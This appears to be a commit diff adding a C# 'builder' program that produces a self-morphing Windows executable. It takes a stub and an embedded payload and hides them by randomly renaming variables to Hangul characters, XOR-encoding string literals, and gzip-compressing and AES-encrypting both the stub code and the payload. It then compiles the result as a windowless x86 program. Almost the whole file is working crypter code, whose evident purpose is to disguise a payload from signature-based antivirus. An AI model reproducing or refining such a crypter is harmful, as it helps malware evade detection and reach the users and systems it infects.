1
+ using Build . Properties ;
2
+ using System ;
3
+ using System . CodeDom . Compiler ;
4
+ using System . IO ;
5
+ using System . IO . Compression ;
6
+ using System . Linq ;
7
+ using System . Security . Cryptography ;
8
+ using System . Text ;
9
+ using System . Windows . Forms ;
10
+
11
+ namespace Build
12
+ {
13
+ public static class Program
14
+ {
15
+ private static Random Random = new Random ( Environment . TickCount ) ;
16
+ private static string ObfuscationCharacters = "각갂갃간갅갆갇갈갉갊갋갌갍갎갏감갑값갓갔강갖갗갘같갚갛개객갞갟갠갡갢갣갤갥갦갧갨갩갪갫갬갭갮갯" ;
17
+
18
+ public static void Main ( string [ ] args )
19
+ {
20
+ CodeDomProvider compiler = CodeDomProvider . CreateProvider ( "CSharp" ) ;
21
+ string outputAssembly = Path . Combine ( Application . StartupPath , GetVariableName ( ) + ".exe" ) ;
22
+
23
+ CompilerParameters parameters = new CompilerParameters
24
+ {
25
+ GenerateExecutable = true ,
26
+ GenerateInMemory = true ,
27
+ OutputAssembly = outputAssembly ,
28
+ CompilerOptions = "/target:winexe /platform:x86"
29
+ } ;
30
+
31
+ parameters . ReferencedAssemblies . Add ( "mscorlib.dll" ) ;
32
+ parameters . ReferencedAssemblies . Add ( "System.dll" ) ;
33
+ parameters . ReferencedAssemblies . Add ( "System.Core.dll" ) ;
34
+ parameters . ReferencedAssemblies . Add ( "System.Windows.Forms.dll" ) ;
35
+
36
+ string stubCode = string . Join ( "\r \n " , Resources . Stub . Replace ( "\r \n " , "\n " ) . Split ( new [ ] { '\n ' } , StringSplitOptions . RemoveEmptyEntries ) ) ;
37
+
38
+ while ( stubCode . Contains ( "_V_" ) )
39
+ {
40
+ string variableName = new string ( stubCode . Substring ( stubCode . IndexOf ( "_V_" ) ) . TakeWhile ( ch => "abcdefghijklmnopqrstuvwxyz0123456789_" . Contains ( char . ToLower ( ch ) ) ) . ToArray ( ) ) ;
41
+ stubCode = stubCode . Replace ( variableName , variableName == "_V_DecryptString" ? "_@_DecryptString" : "_@_" + GetCleanVariableName ( ) ) ;
42
+ }
43
+ stubCode = stubCode . Replace ( "_@_" , "_V_" ) ;
44
+
45
+ stubCode = stubCode . Replace ( "_CONST_EncryptedStubCode" , "new byte[]{" + string . Join ( "," , Encrypt ( Compress ( Encoding . UTF8 . GetBytes ( stubCode ) ) ) . Select ( _V_Main_Byte2 => _V_Main_Byte2 . ToString ( ) ) ) + "}" ) ;
46
+ stubCode = stubCode . Replace ( "_CONST_EncryptedPayload" , "new byte[]{" + string . Join ( "," , Encrypt ( Compress ( Resources . Payload ) ) . Select ( _V_Main_Byte2 => _V_Main_Byte2 . ToString ( ) ) ) + "}" ) ;
47
+
48
+ while ( stubCode . Contains ( "\" " ) )
49
+ {
50
+ int start = stubCode . IndexOf ( '"' ) ;
51
+ string stringLiteral = stubCode . Substring ( start , stubCode . IndexOf ( '"' , start + 1 ) - start + 1 ) ;
52
+ stubCode = stubCode . Replace ( stringLiteral , "_V_DecryptString(@" + EncryptString ( stringLiteral . Substring ( 1 , stringLiteral . Length - 2 ) ) + "@)" ) ;
53
+ }
54
+ while ( stubCode . Contains ( "_V_" ) )
55
+ {
56
+ stubCode = stubCode . Replace ( new string ( stubCode . Substring ( stubCode . IndexOf ( "_V_" ) ) . TakeWhile ( ch => "abcdefghijklmnopqrstuvwxyz0123456789_" . Contains ( char . ToLower ( ch ) ) ) . ToArray ( ) ) , GetVariableName ( ) ) ;
57
+ }
58
+ stubCode = stubCode . Replace ( '@' , '"' ) ;
59
+
60
+ File . WriteAllText ( "Debug_SelfMorphingCSharpBinary.cs" , stubCode ) ;
61
+
62
+ compiler . CompileAssemblyFromSource ( parameters , stubCode ) ;
63
+ string destinationAssembly = "SelfMorphingCSharpBinary.exe" ;
64
+ File . Delete ( destinationAssembly ) ;
65
+ File . Move ( outputAssembly , destinationAssembly ) ;
66
+ }
67
+
68
+ private static byte [ ] Compress ( byte [ ] data )
69
+ {
70
+ MemoryStream memoryStream = new MemoryStream ( ) ;
71
+ GZipStream gzipStream = new GZipStream ( memoryStream , CompressionMode . Compress , true ) ;
72
+ gzipStream . Write ( data , 0 , data . Length ) ;
73
+ gzipStream . Close ( ) ;
74
+ memoryStream . Position = 0 ;
75
+ byte [ ] compressedData = new byte [ memoryStream . Length ] ;
76
+ memoryStream . Read ( compressedData , 0 , compressedData . Length ) ;
77
+ byte [ ] compressedBuffer = new byte [ compressedData . Length + 4 ] ;
78
+ Buffer . BlockCopy ( compressedData , 0 , compressedBuffer , 4 , compressedData . Length ) ;
79
+ Buffer . BlockCopy ( BitConverter . GetBytes ( data . Length ) , 0 , compressedBuffer , 0 , 4 ) ;
80
+ return compressedBuffer ;
81
+ }
82
+ private static byte [ ] Encrypt ( byte [ ] data )
83
+ {
84
+ Aes aes = Aes . Create ( ) ;
85
+ aes . GenerateIV ( ) ;
86
+ aes . Key = aes . IV ;
87
+ MemoryStream memoryStream = new MemoryStream ( ) ;
88
+ memoryStream . Write ( aes . Key , 0 , 16 ) ;
89
+ CryptoStream cryptoStream = new CryptoStream ( memoryStream , aes . CreateEncryptor ( ) , CryptoStreamMode . Write ) ;
90
+ cryptoStream . Write ( data , 0 , data . Length ) ;
91
+ cryptoStream . Close ( ) ;
92
+ return memoryStream . ToArray ( ) ;
93
+ }
94
+ private static string EncryptString ( string str )
95
+ {
96
+ int key = Random . Next ( 256 ) ;
97
+ return ( char ) ( key + 42784 ) + new string ( str . Select ( ch => ( char ) ( ( ch ^ key ) + 42784 ) ) . ToArray ( ) ) ;
98
+ }
99
+ private static string GetVariableName ( )
100
+ {
101
+ return new string ( Enumerable . Range ( 0 , Random . Next ( 5 , 15 ) ) . Select ( i => ObfuscationCharacters [ Random . Next ( ObfuscationCharacters . Length ) ] ) . ToArray ( ) ) ;
102
+ }
103
+ private static string GetCleanVariableName ( )
104
+ {
105
+ const string chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890_" ;
106
+ return new string ( Enumerable . Range ( 0 , Random . Next ( 5 , 15 ) ) . Select ( i => chars [ Random . Next ( chars . Length ) ] ) . ToArray ( ) ) ;
107
+ }
108
+ }
109
+ }
0 commit comments